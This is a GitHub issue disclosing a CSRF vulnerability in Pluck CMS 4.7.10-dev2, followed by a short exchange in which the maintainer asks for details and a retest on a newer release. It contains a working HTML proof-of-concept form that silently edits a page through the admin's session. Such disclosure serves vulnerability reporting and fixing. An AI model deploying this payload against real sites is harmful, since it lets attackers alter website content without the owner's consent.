Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

An issue was discovered in Pluck 4.7.10-dev2. There is a CSRF vulnerability that can editpage via a /admin.php?action=editpage #81

Closed
F1sh1001 opened this issue Oct 21, 2019 · 5 comments

Comments

@F1sh1001
Copy link

F1sh1001 commented Oct 21, 2019

CSRF POC:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1/pluck/admin.php?action=editpage&page=111" method="POST">
      <input type="hidden" name="title" value="evil" />
      <input type="hidden" name="seo&#95;name" value="111" />
      <input type="hidden" name="content" value="evil" />
      <input type="hidden" name="description" value="" />
      <input type="hidden" name="keywords" value="" />
      <input type="hidden" name="hidden" value="no" />
      <input type="hidden" name="sub&#95;page" value="" />
      <input type="hidden" name="theme" value="oldstyle" />
      <input type="hidden" name="save" value="Save" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

图片

@BSteelooper
Copy link
Contributor

Where did you insert the script?? it is a javascript so it only resides in the client.
The /h1 wil not appear in the file on disk..

Please explain more.

@F1sh1001
Copy link
Author

After the adminisstrator open the csrf exp page,then a new page called evil will be added to your website.
图片

@BSteelooper
Copy link
Contributor

BSteelooper commented Oct 21, 2019

Could you please test the latest dev release 4.7.10-dev4?
https://github.com/pluck-cms/pluck/releases/tag/4.7.10-dev4

@BSteelooper
Copy link
Contributor

Have you retested with the latest dev version?

@F1sh1001
Copy link
Author

F1sh1001 commented Oct 22, 2019 via email

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
None yet
Development

No branches or pull requests

2 participants